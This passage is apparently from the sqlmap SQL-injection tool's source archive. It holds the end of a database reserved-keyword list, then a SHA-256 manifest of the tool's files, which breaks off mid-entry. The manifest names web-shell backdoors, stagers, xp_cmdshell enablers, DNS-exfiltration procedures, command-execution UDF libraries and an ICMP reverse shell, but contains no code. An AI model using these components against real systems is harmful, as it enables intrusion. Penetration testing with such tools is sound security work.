GEOMETRYCOLLECTION GET GET_FORMAT GET_MASTER_PUBLIC_KEY GET_SOURCE_PUBLIC_KEY GLOBAL GRANT GRANTS GROUP GROUPING GROUPS GROUP_REPLICATION GTID_ONLY HANDLER HASH HAVING HELP HIGH_PRIORITY HISTOGRAM HISTORY HOST HOSTS HOUR HOUR_MICROSECOND HOUR_MINUTE HOUR_SECOND IDENTIFIED IF IGNORE IGNORE_SERVER_IDS IMPORT IN INACTIVE INDEX INDEXES INFILE INITIAL INITIAL_SIZE INITIATE INNER INOUT INSENSITIVE INSERT INSERT_METHOD INSTALL INSTANCE INT INT1 INT2 INT3 INT4 INT8 INTEGER INTERSECT INTERVAL INTO INVISIBLE INVOKER IO IO_AFTER_GTIDS IO_BEFORE_GTIDS IO_THREAD IPC IS ISOLATION ISSUER ITERATE JOIN JSON JSON_TABLE JSON_VALUE KEY KEYRING KEYS KEY_BLOCK_SIZE KILL LAG LANGUAGE LAST LAST_VALUE LATERAL LEAD LEADING LEAVE LEAVES LEFT LESS LEVEL LIKE LIMIT LINEAR LINES LINESTRING LIST LOAD LOCAL LOCALTIME LOCALTIMESTAMP LOCK LOCKED LOCKS LOGFILE LOGS LONG LONGBLOB LONGTEXT LOOP LOW_PRIORITY MASTER MASTER_AUTO_POSITION MASTER_BIND MASTER_COMPRESSION_ALGORITHMS MASTER_CONNECT_RETRY MASTER_DELAY MASTER_HEARTBEAT_PERIOD MASTER_HOST MASTER_LOG_FILE MASTER_LOG_POS MASTER_PASSWORD MASTER_PORT MASTER_PUBLIC_KEY_PATH MASTER_RETRY_COUNT MASTER_SERVER_ID MASTER_SSL MASTER_SSL_CA MASTER_SSL_CAPATH MASTER_SSL_CERT MASTER_SSL_CIPHER MASTER_SSL_CRL MASTER_SSL_CRLPATH MASTER_SSL_KEY MASTER_SSL_VERIFY_SERVER_CERT MASTER_TLS_CIPHERSUITES MASTER_TLS_VERSION MASTER_USER MASTER_ZSTD_COMPRESSION_LEVEL MATCH MAXVALUE MAX_CONNECTIONS_PER_HOUR MAX_QUERIES_PER_HOUR MAX_ROWS MAX_SIZE MAX_UPDATES_PER_HOUR MAX_USER_CONNECTIONS MEDIUM MEDIUMBLOB MEDIUMINT MEDIUMTEXT MEMBER MEMORY MERGE MESSAGE_TEXT MICROSECOND MIDDLEINT MIGRATE MINUTE MINUTE_MICROSECOND MINUTE_SECOND MIN_ROWS MOD MODE MODIFIES MODIFY MONTH MULTILINESTRING MULTIPOINT MULTIPOLYGON MUTEX MYSQL_ERRNO NAME NAMES NATIONAL NATURAL NCHAR NDB NDBCLUSTER NESTED NETWORK_NAMESPACE NEVER NEW NEXT NO NODEGROUP NONE NOT NOWAIT NO_WAIT NO_WRITE_TO_BINLOG NTH_VALUE NTILE NULL NULLS NUMBER NUMERIC NVARCHAR OF OFF OFFSET OJ OLD ON ONE ONLY OPEN OPTIMIZE OPTIMIZER_COSTS OPTION OPTIONAL OPTIONALLY OPTIONS OR ORDER ORDINALITY ORGANIZATION OTHERS OUT OUTER OUTFILE OVER OWNER PACK_KEYS PAGE PARSER PARTIAL PARTITION PARTITIONING PARTITIONS PASSWORD_LOCK_TIME PATH PERCENT_RANK PERSIST PERSIST_ONLY PHASE PLUGIN PLUGINS PLUGIN_DIR POINT POLYGON PORT PRECEDES PRECEDING PRECISION PREPARE PRESERVE PREV PRIMARY PRIVILEGES PRIVILEGE_CHECKS_USER PROCEDURE PROCESS PROCESSLIST PROFILE PROFILES PROXY PURGE QUARTER QUERY QUICK RANDOM RANGE RANK READ READS READ_ONLY READ_WRITE REAL REBUILD RECOVER RECURSIVE REDOFILE REDO_BUFFER_SIZE REDUNDANT REFERENCE REFERENCES REGEXP REGISTRATION RELAY RELAYLOG RELAY_LOG_FILE RELAY_LOG_POS RELAY_THREAD RELEASE RELOAD REMOTE REMOVE RENAME REORGANIZE REPAIR REPEAT REPEATABLE REPLACE REPLICA REPLICAS REPLICATE_DO_DB REPLICATE_DO_TABLE REPLICATE_IGNORE_DB REPLICATE_IGNORE_TABLE REPLICATE_REWRITE_DB REPLICATE_WILD_DO_TABLE REPLICATE_WILD_IGNORE_TABLE REPLICATION REQUIRE REQUIRE_ROW_FORMAT RESET RESIGNAL RESOURCE RESPECT RESTART RESTORE RESTRICT RESUME RETAIN RETURN RETURNED_SQLSTATE RETURNING RETURNS REUSE REVERSE REVOKE RIGHT RLIKE ROLE ROLLBACK ROLLUP ROTATE ROUTINE ROW ROWS ROW_COUNT ROW_FORMAT ROW_NUMBER RTREE SAVEPOINT SCHEDULE SCHEMA SCHEMAS SCHEMA_NAME SECOND SECONDARY SECONDARY_ENGINE SECONDARY_ENGINE_ATTRIBUTE SECONDARY_LOAD SECONDARY_UNLOAD SECOND_MICROSECOND SECURITY SELECT SENSITIVE SEPARATOR SERIAL SERIALIZABLE SERVER SESSION SET SHARE SHOW SHUTDOWN SIGNAL SIGNED SIMPLE SKIP SLAVE SLOW SMALLINT SNAPSHOT SOCKET SOME SONAME SOUNDS SOURCE SOURCE_AUTO_POSITION SOURCE_BIND SOURCE_COMPRESSION_ALGORITHMS SOURCE_CONNECT_RETRY SOURCE_DELAY SOURCE_HEARTBEAT_PERIOD SOURCE_HOST SOURCE_LOG_FILE SOURCE_LOG_POS SOURCE_PASSWORD SOURCE_PORT SOURCE_PUBLIC_KEY_PATH SOURCE_RETRY_COUNT SOURCE_SSL SOURCE_SSL_CA SOURCE_SSL_CAPATH SOURCE_SSL_CERT SOURCE_SSL_CIPHER SOURCE_SSL_CRL SOURCE_SSL_CRLPATH SOURCE_SSL_KEY SOURCE_SSL_VERIFY_SERVER_CERT SOURCE_TLS_CIPHERSUITES SOURCE_TLS_VERSION SOURCE_USER SOURCE_ZSTD_COMPRESSION_LEVEL SPATIAL SPECIFIC SQL SQLEXCEPTION SQLSTATE SQLWARNING SQL_AFTER_GTIDS SQL_AFTER_MTS_GAPS SQL_BEFORE_GTIDS SQL_BIG_RESULT SQL_BUFFER_RESULT SQL_CACHE SQL_CALC_FOUND_ROWS SQL_NO_CACHE SQL_SMALL_RESULT SQL_THREAD SQL_TSI_DAY SQL_TSI_HOUR SQL_TSI_MINUTE SQL_TSI_MONTH SQL_TSI_QUARTER SQL_TSI_SECOND SQL_TSI_WEEK SQL_TSI_YEAR SRID SSL STACKED START STARTING STARTS STATS_AUTO_RECALC STATS_PERSISTENT STATS_SAMPLE_PAGES STATUS STOP STORAGE STORED STRAIGHT_JOIN STREAM STRING SUBCLASS_ORIGIN SUBJECT SUBPARTITION SUBPARTITIONS SUPER SUSPEND SWAPS SWITCHES SYSTEM TABLE TABLES TABLESPACE TABLE_CHECKSUM TABLE_NAME TEMPORARY TEMPTABLE TERMINATED TEXT THAN THEN THREAD_PRIORITY TIES TIME TIMESTAMP TIMESTAMPADD TIMESTAMPDIFF TINYBLOB TINYINT TINYTEXT TLS TO TRAILING TRANSACTION TRIGGER TRIGGERS TRUE TRUNCATE TYPE TYPES UNBOUNDED UNCOMMITTED UNDEFINED UNDO UNDOFILE UNDO_BUFFER_SIZE UNICODE UNINSTALL UNION UNIQUE UNKNOWN UNLOCK UNREGISTER UNSIGNED UNTIL UPDATE UPGRADE URL USAGE USE USER USER_RESOURCES USE_FRM USING UTC_DATE UTC_TIME UTC_TIMESTAMP VALIDATION VALUE VALUES VARBINARY VARCHAR VARCHARACTER VARIABLES VARYING VCPU VIEW VIRTUAL VISIBLE WAIT WARNINGS WEEK WEIGHT_STRING WHEN WHERE WHILE WINDOW WITH WITHOUT WORK WRAPPER WRITE X509 XA XID XML XOR YEAR YEAR_MONTH ZEROFILL ZONE # PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) ABS ACOS ALL ALLOCATE ALTER ANALYSE ANALYZE AND ANY ARE ARRAY ARRAY_AGG ARRAY_MAX_CARDINALITY AS ASC ASENSITIVE ASIN ASYMMETRIC AT ATAN ATOMIC AUTHORIZATION AVG BEGIN BEGIN_FRAME BEGIN_PARTITION BETWEEN BIGINT BINARY BLOB BOOLEAN BOTH BY CALL CALLED CARDINALITY CASCADED CASE CAST CEIL CEILING CHAR CHARACTER CHARACTER_LENGTH CHAR_LENGTH CHECK CLASSIFIER CLOB CLOSE COALESCE COLLATE COLLATION COLLECT COLUMN COMMIT CONCURRENTLY CONDITION CONNECT CONSTRAINT CONTAINS CONVERT COPY CORR CORRESPONDING COS COSH COUNT COVAR_POP COVAR_SAMP CREATE CROSS CUBE CUME_DIST CURRENT CURRENT_CATALOG CURRENT_DATE CURRENT_DEFAULT_TRANSFORM_GROUP CURRENT_PATH CURRENT_ROLE CURRENT_ROW CURRENT_SCHEMA CURRENT_TIME CURRENT_TIMESTAMP CURRENT_TRANSFORM_GROUP_FOR_TYPE CURRENT_USER CURSOR CYCLE DATALINK DATE DAY DEALLOCATE DEC DECFLOAT DECIMAL DECLARE DEFAULT DEFERRABLE DEFINE DELETE DENSE_RANK DEREF DESC DESCRIBE DETERMINISTIC DISCONNECT DISTINCT DLNEWCOPY DLPREVIOUSCOPY DLURLCOMPLETE DLURLCOMPLETEONLY DLURLCOMPLETEWRITE DLURLPATH DLURLPATHONLY DLURLPATHWRITE DLURLSCHEME DLURLSERVER DLVALUE DO DOUBLE DROP DYNAMIC EACH ELEMENT ELSE EMPTY END END-EXEC END_FRAME END_PARTITION EQUALS ESCAPE EVERY EXCEPT EXEC EXECUTE EXISTS EXP EXTERNAL EXTRACT FALSE FETCH FILTER FIRST_VALUE FLOAT FLOOR FOR FOREIGN FRAME_ROW FREE FREEZE FROM FULL FUNCTION FUSION GET GLOBAL GRANT GROUP GROUPING GROUPS HAVING HOLD HOUR IDENTITY ILIKE IMPORT IN INDICATOR INITIAL INITIALLY INNER INOUT INSENSITIVE INSERT INT INTEGER INTERSECT INTERSECTION INTERVAL INTO IS ISNULL JOIN JSON_ARRAY JSON_ARRAYAGG JSON_EXISTS JSON_OBJECT JSON_OBJECTAGG JSON_QUERY JSON_TABLE JSON_TABLE_PRIMITIVE JSON_VALUE LAG LANGUAGE LARGE LAST_VALUE LATERAL LEAD LEADING LEFT LIKE LIKE_REGEX LIMIT LISTAGG LN LOCAL LOCALTIME LOCALTIMESTAMP LOG LOG10 LOWER MATCH MATCHES MATCH_NUMBER MATCH_RECOGNIZE MAX MEASURES MEMBER MERGE METHOD MIN MINUTE MOD MODIFIES MODULE MONTH MULTISET NATIONAL NATURAL NCHAR NCLOB NEW NO NONE NORMALIZE NOT NOTNULL NTH_VALUE NTILE NULL NULLIF NUMERIC OCCURRENCES_REGEX OCTET_LENGTH OF OFFSET OLD OMIT ON ONE ONLY OPEN OR ORDER OUT OUTER OVER OVERLAPS OVERLAY PARAMETER PARTITION PATTERN PER PERCENT PERCENTILE_CONT PERCENTILE_DISC PERCENT_RANK PERIOD PERMUTE PLACING PORTION POSITION POSITION_REGEX POWER PRECEDES PRECISION PREPARE PRIMARY PROCEDURE PTF RANGE RANK READS REAL RECURSIVE REF REFERENCES REFERENCING REGR_AVGX REGR_AVGY REGR_COUNT REGR_INTERCEPT REGR_R2 REGR_SLOPE REGR_SXX REGR_SXY REGR_SYY RELEASE RESULT RETURN RETURNING RETURNS REVOKE RIGHT ROLLBACK ROLLUP ROW ROWS ROW_NUMBER RUNNING SAVEPOINT SCOPE SCROLL SEARCH SECOND SEEK SELECT SENSITIVE SESSION_USER SET SHOW SIMILAR SIN SINH SKIP SMALLINT SOME SPECIFIC SPECIFICTYPE SQL SQLEXCEPTION SQLSTATE SQLWARNING SQRT START STATIC STDDEV_POP STDDEV_SAMP SUBMULTISET SUBSET SUBSTRING SUBSTRING_REGEX SUCCEEDS SUM SYMMETRIC SYSTEM SYSTEM_TIME SYSTEM_USER TABLE TABLESAMPLE TAN TANH THEN TIME TIMESTAMP TIMEZONE_HOUR TIMEZONE_MINUTE TO TRAILING TRANSLATE TRANSLATE_REGEX TRANSLATION TREAT TRIGGER TRIM TRIM_ARRAY TRUE TRUNCATE UESCAPE UNION UNIQUE UNKNOWN UNMATCHED UNNEST UPDATE UPPER USER USING VALUE VALUES VALUE_OF VARBINARY VARCHAR VARIADIC VARYING VAR_POP VAR_SAMP VERBOSE VERSIONING WHEN WHENEVER WHERE WIDTH_BUCKET WINDOW WITH WITHIN WITHOUT XML XMLAGG XMLATTRIBUTES XMLBINARY XMLCAST XMLCOMMENT XMLCONCAT XMLDOCUMENT XMLELEMENT XMLEXISTS XMLFOREST XMLITERATE XMLNAMESPACES XMLPARSE XMLPI XMLQUERY XMLSERIALIZE XMLTABLE XMLTEXT XMLVALIDATE YEAR # Misc ORD MID sqlmap-1.9.6/data/txt/sha256sums.txt000066400000000000000000001671231502261744200172520ustar00rootroot0000000000000039a8a35d730f49daf657fa58903a9cd309813b275df29a86439297a10a15261a data/html/index.html e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql 6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql 798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql 5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql 3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql 657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql 1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql 9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql 02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql 02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql 606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql 4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql 7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt 3fa42f7428a91d94e792ad8d3cb76109cfe2632d918ae046e32be5a2b51ad3d8 data/shell/backdoors/backdoor.asp_ 7943c1d1e8c037f5466f90ed91cc88441beb0efab83ef5ae98473d2aee770b65 data/shell/backdoors/backdoor.aspx_ 9d9d0bdd4145df96058977a39be924f0facdba9efa7b585848101dafbcb7b02e data/shell/backdoors/backdoor.jsp_ 8a7a73a4c841e92ece79942e03a18df046f90ba43e6af6c4f8fbb77f437bce07 data/shell/backdoors/backdoor.php_ a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt 67ce7eec132297594f7fd31f93f8d044df3d745c01c70c5afc320848eb4aa149 data/shell/stagers/stager.asp_ 099eb0f9ed71946eb55bd1d4afa1f1f7ef9f39cc41af4897f3d5139524bd2fc2 data/shell/stagers/stager.aspx_ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/stagers/stager.jsp_ 84b431647a2c13e72b2c9c9242a578349d1b8eef596166128e08f1056d7e4ac8 data/shell/stagers/stager.php_ 26e2a6d6154cbcef1410a6826169463129380f70a840f848dce4236b686efb23 data/txt/common-columns.txt 22cda9937e1801f15370e7cb784797f06c9c86ad8a97db19e732ae76671c7f37 data/txt/common-files.txt a166b1958937364968a25e4bc64074c1ac12358443e58b1bf2ac3d8d88b48a30 data/txt/common-outputs.txt 7953f5967da237115739ee0f0fe8b0ecec7cdac4830770acb8238e6570422a28 data/txt/common-tables.txt b023d7207e5e96a27696ec7ea1d32f9de59f1a269fde7672a8509cb3f0909cd3 data/txt/keywords.txt 29a0a6a2c2d94e44899e867590bae865bdf97ba17484c649002d1d8faaf3e127 data/txt/smalldict.txt df66c8fdb08cc0eee63b86505bc5b05bc4cad5d0bef6553d5c20346e7202dc2b data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 849c61612bd0d773971254df2cc76cc18b3d2db4051a8f508643278a166df44e data/udf/mysql/linux/32/lib_mysqludf_sys.so_ 20b5a80b8044da1a0d5c5343c6cbc5b71947c5464e088af466a3fcd89c2881ef data/udf/mysql/linux/64/lib_mysqludf_sys.so_ 8e6ae0e3d67e47261df064aa1536f99e56d4f001cc7f800c3d93b091c3c73115 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ 51d055d00863655e43e683377257953a19728a0ae9a3fe406768289474eb4104 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ 9340f3d10dcca0d72e707f22cf1c4c6581b979c23d6f55a417ee41d9091bb9d1 data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ dc1199c029dff238e971fd3250916eb48503daa259464c24f22cd2cd51f5ccd8 data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ 0b6a7e34fbbd27adaa8beda36ce20e93fd65b8e3ce93bf44703c514ebdd1cef0 data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ 922fb68413b05031e9237414cf50a04e0e43f0d1c7ef44cfb77305eea0b6f2fe data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ 029ffa3b30a4c6cb10f5271b72c2a6b8967cdab0d23c8e4b0e5e75e2a5c734f2 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ 52f9a6375099cb9c37ca1b8596c2e89a75ed6b8a2493b486ef3cd0230eaa6591 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ 436e0bf6961f4d25321a6fe97bfa73ab2926175d5b93e9c4b0dbcd38a926ca31 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ 6817b485450aed7a634ece8c6c12007ab38e6954c8cbc7a530b101347e788cbc data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ a2de5ca53411f38dadc1535a58d7416a3758a126feec6becb4e0e33c974825f3 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ 17e2f86c94b4cffb8de37b10456142f5a1bf3d500345bf508f16c9a359fbf005 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ 5ffdaac7d85ac18e5bbae2776522d391d92ca18b2862c3d1d03fa90effcfb918 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ 5fae599c42bb650a2c0ba8111ca64d52bb82ac1ea0e982a3c0f59587d166eb5b data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ ded0da0260fea0c91e02839d2e06e62741cc25ac5d74b351b0a26e0c0abcd8de data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ 81e9f38cb47753f5b9f472eddd227023c44f6b302b7c03eca65dd9836856de69 data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ 87b0d86661eaf8bf58664a3aa241cc33525cf3dc1043ed60a82cf123d8ae3873 data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ 925a7b8a3904906b8402e707ed510e9ac7598ee30a90f5464d14a3678998cb90 data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ c55ac17eaf8f4353ac1abbecb3165ebfceeed438780f9c1d8eb863a6f40d64f4 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ aecdef1198ad2bdfdebc82ba001b6d6c2d08cc162271a37d0a55ae8e5a0e3aa0 data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ f128717b9930c4fd919da004dacc50487923d56239a68a2566d33212acc09839 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ 965355721e6d5ada50e3f0fe576f668ee62adae0810a34c8024fb40c5301443b data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ adfb9f1841af68b03f7dfe68234236034cb09d6be28902eda7d66792b667b58a data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b0d30e633532c28f693fbb91a67274b3d347cbefa0dfae8d6dafa2b934d9be14 data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ 7acbfe3ddd2d0083fe5d6a9f614008b0659539a5401bdf99d9bcd3667901e4dc data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ 191dc3607fdb4bad4e4231fd0d63c5926aa4055df024a083ea0ec0bbec6e3258 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ a6717d5da8c4515f9b53bcd2343a4d496dbdcf92c5b05e210f62731e2fa89ce7 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ 611e1f025b919a75ec9543720cac4b02669967dab46e671f0328e75314852951 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b427b65cc8b585cd02361f5155ffab2fe52fd5943100382c6b86cd0f52f352d9 data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ c444fd667a09927a22c92e855d206249e761c1fbd4f3630f7ee06265eb2576ee data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ c6be099a5dee34f3a7570715428add2e7419f4e73a7ce9913d3fb76eea78d88e data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ 0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt 4e268596da67fb0b6a10a7cefb38af5de13f67dab760cc0505f8f80484a0fe79 data/xml/banner/generic.xml 2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml 14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml 6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml 9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml 86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml 146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml e87c062bdf05b27db6c1d7e0d41c25f269cbe66b1f9b8e2d9b3db0d567016c76 data/xml/banner/set-cookie.xml a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 75672f8faa8053af0df566a48700f2178075f67c593d916313fcff3474da6f82 data/xml/banner/x-powered-by.xml 1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634 data/xml/boundaries.xml 20fd2f2ba35ade45f242bd3c6e92898ac90b4ee6a63dbb8740cad06f91a395e5 data/xml/errors.xml cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml 95b7464b1a7b75e2b462d73c6cca455c13b301f50182a8b2cd6701cdcb80b43e data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS 2a0322f121cbda30336ab58382e9860fea8ab28ff4726f6f8abf143ce1657abe doc/CHANGELOG.md 2df1f15110f74ce4e52f0e7e4a605e6c7e08fbda243e444f9b60e26dfc5cf09d doc/THANKS.md f939c6341e3ab16b0bb9d597e4b13856c7d922be27fd8dba3aa976b347771f16 doc/THIRD-PARTY.md d739d4ced220b342316f5814216bdb1cb85609cd5ebb89e606478ac43301009e doc/translations/README-bg-BG.md 6882f232e5c02d9feb7d4447e0501e4e27be453134fb32119a228686b46492a5 doc/translations/README-ckb-KU.md 9bed1c72ffd6b25eaf0ff66ac9eefaa4efc2f5e168f51cf056b0daf3e92a3db2 doc/translations/README-de-DE.md 008c66ba4a521f7b6f05af2d28669133341a00ebc0a7b68ce0f30480581e998c doc/translations/README-es-MX.md 244cec6aee647e2447e70bbeaf848c7f95714c27e258ddbe7f68787b2be88fe9 doc/translations/README-fa-IR.md 8d31107d021f468ebbcaac7d59ad616e8d5db93a7c459039a11a6bfd2a921ce9 doc/translations/README-fr-FR.md b9017db1f0167dda23780949b4d618baf877375dc14e08ebd6983331b945ed44 doc/translations/README-gr-GR.md 40cb977cb510b0b9b0996c6ada1bace10f28ff7c43eaab96402d7b9198320fd3 doc/translations/README-hr-HR.md 86b0f6357709e453a6380741cb05f39aa91217cf52da240d403ee8812cc4c95f doc/translations/README-id-ID.md 384bacdd547f87749ea7d73fcb01b25e4b3681d5bcf51ee1b37e9865979eb7c3 doc/translations/README-in-HI.md 21120d6671fe87c2d04e87de675f90f739a7cfe2b553db9b1b5ec31667817852 doc/translations/README-it-IT.md 0daaccf3ccb2d42ad4fbedf0c4059e8a100bb66d5f093c5912b9862bf152bbf6 doc/translations/README-ja-JP.md 81370d878567f411a80d2177d7862aa406229e6c862a6b48d922f64af0db8d14 doc/translations/README-ka-GE.md 8fb3c1b2ddb0efc9a7a1962027fa64c11c11b37eda24ea3dfca0854be73839d8 doc/translations/README-ko-KR.md 35bc7825417d83c21d19f7ebe288721c3960230a0f5b3d596be30b37e00e43c5 doc/translations/README-nl-NL.md 12d6078189d5b4bc255f41f1aae1941f1abe501abd2c0442b5a2090f1628e17d doc/translations/README-pl-PL.md 8d0708c2a215e2ee8367fe11a3af750a06bc792292cba8a204d44d03deb56b7d doc/translations/README-pt-BR.md 070cc897789e98f144a6b6b166d11289b3cda4d871273d2afe0ab81ac7ae90ad doc/translations/README-rs-RS.md 927743c0a1f68dc76969bda49b36a6146f756b907896078af2a99c3340d6cc34 doc/translations/README-ru-RU.md 65de5053b014b0e0b9ab5ab68fe545a7f9db9329fa0645a9973e457438b4fde5 doc/translations/README-sk-SK.md 43de61a9defc5eda42a6c3d746f422b43f486eacefb97862f637ab60650e9ef2 doc/translations/README-tr-TR.md 0db2d479b1512c948a78ce5c1cf87b5ce0b5b94e3cb16b19e9afcbed2c7f5cae doc/translations/README-uk-UA.md 82f9ec2cf2392163e694c99efa79c459a44b6213a5881887777db8228ea230fa doc/translations/README-vi-VN.md 0e8f0a2186f90fabd721072972c571a7e5664496d88d6db8aedcb1d0e34c91f0 doc/translations/README-zh-CN.md 788b845289c2fbbfc0549a2a94983f2a2468df15be5c8b5de84241a32758d70b extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/beep/__init__.py cbfa457aa0fb379a0bf90bc7e50c31aa4491043732233260d66fa0103c507d23 extra/cloak/cloak.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/cloak/__init__.py 6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt 54b1ad04bf475393edf44cdcd247f0bd61115a3a6c3e55eb01d2950c49f46e61 extra/dbgtool/dbgtool.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/dbgtool/__init__.py a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt a87035e5923f5b56077dfbd18cda5aa5e2542f0707b7b55f7bbeb1960ae3cc9a extra/icmpsh/icmpsh.exe_ 2fcce0028d9dd0acfaec497599d6445832abad8e397e727967c31c834d04d598 extra/icmpsh/icmpsh-m.c 8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl 12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py 1589e5edeaf80590d4d0ce1fd12aa176730d5eba3bfd72a9f28d3a1a9353a9db extra/icmpsh/icmpsh-s.c ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py 27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 extra/__init__.py 191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt 25be5af53911f8c4816c0c8996b5b4932543efd6be247f5e18ce936679e7d1cd extra/runcmd/runcmd.exe_ 70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt 084aea8f337e1aed405a581603324ec01951eadcfd7b4eefaf3000b73f8b2e1e extra/runcmd/src/runcmd/runcmd.cpp e5c02d18abf544eebd18bd789121eaee4d638bae687402feafdd6daec18e82a1 